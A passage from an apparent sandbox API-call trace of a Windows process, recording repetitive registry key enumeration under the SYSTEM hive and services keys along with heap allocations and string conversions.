lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.370] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.370] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.371] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.371] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.371] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0260.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.372] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.372] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.372] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0260.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.372] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.372] RegCloseKey (hKey=0xc4) returned 0x0 [0260.372] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.373] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.373] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.373] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.374] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.374] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.374] RegCloseKey (hKey=0x150) returned 0x0 [0260.374] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.374] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0260.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.375] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d60, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.375] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.375] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d60, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0260.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.375] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.376] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0260.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.376] RtlFreeHeap 